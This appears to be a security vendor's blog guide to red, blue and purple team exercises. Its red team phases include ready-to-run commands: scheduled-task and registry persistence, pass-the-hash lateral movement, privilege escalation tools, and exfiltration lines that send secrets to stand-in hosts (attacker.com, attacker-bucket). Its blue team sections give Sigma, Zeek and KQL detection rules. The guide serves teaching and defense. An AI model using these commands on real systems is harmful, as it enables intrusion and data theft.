Red Team vs Blue Team: The Complete Guide to Adversarial Security Operations

In the world of cybersecurity, the battle between attackers and defenders never ends. Organizations simulate this warfare through Red Team and Blue Team exercises to strengthen their security posture. Let's dive deep into both sides of this critical security practice.

Understanding the Teams

Red Team: The Attackers

Red Teams are offensive security professionals who simulate real-world attacks against an organization. Their goal is to find vulnerabilities before actual malicious actors do.

Objectives:

• Identify security weaknesses
• Test detection and response capabilities
• Validate security investments
• Provide realistic threat assessment

Mindset: "How would a real attacker compromise this organization?"

Blue Team: The Defenders

Blue Teams are the defensive security specialists responsible for protecting the organization's assets and responding to threats.

Objectives:

• Monitor for suspicious activity
• Detect and respond to incidents
• Harden systems and networks
• Maintain security controls

Mindset: "How can we detect, prevent, and respond to attacks?"

Red Team Tactics, Techniques, and Procedures (TTPs)

Phase 1: Reconnaissance

The foundation of any successful attack. Red Teams gather intelligence before striking.

Passive Reconnaissance:

# Subdomain enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com

# Google dorking
site:target.com filetype:pdf
site:target.com inurl:admin
intitle:"index of" site:target.com

# OSINT gathering
theHarvester -d target.com -b all

Active Reconnaissance:

# Port scanning
nmap -sV -sC -p- target.com

# Web technology fingerprinting
whatweb target.com
wappalyzer-cli https://target.com

Phase 2: Initial Access

Getting the first foothold into the target environment.

Common Techniques:

• Phishing campaigns with credential harvesting
• Exploiting public-facing applications
• Supply chain compromise
• Valid accounts from credential dumps

Example: Phishing Setup

# GoPhish campaign setup
gophish &

# Evilginx for MFA bypass
evilginx2 -p ./phishlets

Phase 3: Persistence & Lateral Movement

Once inside, Red Teams establish persistence and move through the network.

Windows Persistence:

# Scheduled task persistence
schtasks /create /tn "WindowsUpdate" /tr "powershell.exe -ep bypass -file C:\temp\beacon.ps1" /sc onstart

# Registry run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "C:\temp\malware.exe"

Lateral Movement:

# Pass-the-hash with CrackMapExec
crackmapexec smb 192.168.1.0/24 -u admin -H <NTLM_HASH> --sam

# PsExec via Impacket
psexec.py domain/admin:[email protected]

# WMI execution
wmiexec.py domain/admin:[email protected]

Phase 4: Privilege Escalation

Elevating access to achieve objectives.

Windows Privilege Escalation:

# Check for quick wins
.\winPEAS.exe

# Token impersonation
.\PrintSpoofer.exe -i -c "powershell.exe"

# Unquoted service paths
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\"

Linux Privilege Escalation:

# Automated enumeration
./linpeas.sh

# SUID binaries
find / -perm -u=s -type f 2>/dev/null

# Sudo misconfigurations
sudo -l

Phase 5: Data Exfiltration

The end goal - extracting valuable data while avoiding detection.

Exfiltration Techniques:

# DNS exfiltration
cat secret.txt | base64 | while read line; do nslookup $line.attacker.com; done

# HTTPS exfiltration
curl -X POST -d @secrets.txt https://attacker.com/exfil

# Cloud storage
aws s3 cp secrets.txt s3://attacker-bucket/ --profile compromised

Blue Team Defense Strategies

Detection Engineering

Building robust detection capabilities is the cornerstone of Blue Team operations.

SIEM Rules (Sigma Format):

title: Suspicious PowerShell Download Cradle
status: production
logsource:
  product: windows
  service: powershell
detection:
  selection:
    ScriptBlockText|contains:
      - 'IEX'
      - 'Invoke-Expression'
      - 'Net.WebClient'
      - 'DownloadString'
  condition: selection
level: high

Network Detection:

# Zeek rule for C2 detection
event http_request(c: connection, method: string, original_URI: string)
{
  if (method == "POST" && |original_URI| < 5)
    NOTICE([$note=Possible_C2, $msg="Short URI POST request", $conn=c]);
}

Threat Hunting

Proactive searching for threats that evade automated detection.

Hunting Hypotheses:

1. Attackers are using living-off-the-land binaries (LOLBins)
2. Lateral movement via WMI is occurring
3. Data is being staged for exfiltration

KQL Queries for Threat Hunting:

// Hunt for encoded PowerShell
DeviceProcessEvents
| where ProcessCommandLine has_any ("-enc", "-encoded", "FromBase64")
| where InitiatingProcessFileName == "powershell.exe"
| project Timestamp, DeviceName, ProcessCommandLine

// Hunt for pass-the-hash
SecurityEvent
| where EventID == 4624
| where LogonType == 9
| where AuthenticationPackageName == "Negotiate"
| project TimeGenerated, Account, WorkstationName, IpAddress

Incident Response

When attacks occur, Blue Teams must respond swiftly and effectively.

IR Playbook Steps:

1. Identification: Confirm the incident is real
2. Containment: Isolate affected systems
3. Eradication: Remove the threat
4. Recovery: Restore normal operations
5. Lessons Learned: Improve defenses

Containment Actions:

# Isolate host via EDR API
curl -X POST "https://edr.company.com/api/isolate" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"hostname": "infected-pc"}'

# Block IOCs at firewall
iptables -A OUTPUT -d malicious-ip -j DROP

# Disable compromised account
Set-ADUser -Identity compromised_user -Enabled $false

Purple Team: Bridging the Gap

Purple Teams combine Red and Blue team efforts for maximum effectiveness.

Benefits:

• Real-time feedback between offense and defense
• Immediate detection gap identification
• Collaborative improvement of controls
• Knowledge transfer between teams

Purple Team Exercise Structure:

1. Red Team executes specific TTP
2. Blue Team attempts detection in real-time
3. Both teams analyze gaps together
4. Detection rules are created/improved
5. Repeat with next TTP

The MITRE ATT&CK Framework

Both teams use ATT&CK as a common language for adversary behavior.

Key Matrices:

• Enterprise ATT&CK: Windows, macOS, Linux, Cloud
• Mobile ATT&CK: iOS and Android
• ICS ATT&CK: Industrial Control Systems

Mapping Coverage:

Tactic	Red Team Focus	Blue Team Coverage
Initial Access	Phishing, Exploits	Email filtering, EDR
Execution	PowerShell, WMI	Script block logging
Persistence	Registry, Services	Autoruns monitoring
Privilege Escalation	Token manipulation	UAC events
Lateral Movement	RDP, SMB, WMI	Network segmentation

Building Your Security Team

Red Team Skills Required

• Programming (Python, C/C++, C#)
• Network and web application security
• Social engineering
• Malware development and analysis
• Cloud platform security

Blue Team Skills Required

• SIEM administration and log analysis
• Network traffic analysis
• Digital forensics
• Incident response
• Threat intelligence

How AIPTx Helps

AIPTx provides automated Red Team capabilities with AI-powered attack simulation. Our platform:

• Executes real-world attack scenarios safely
• Provides detailed attack paths and findings
• Maps results to MITRE ATT&CK
• Generates actionable remediation guidance

Start your Red Team assessment today and discover vulnerabilities before attackers do. Get Started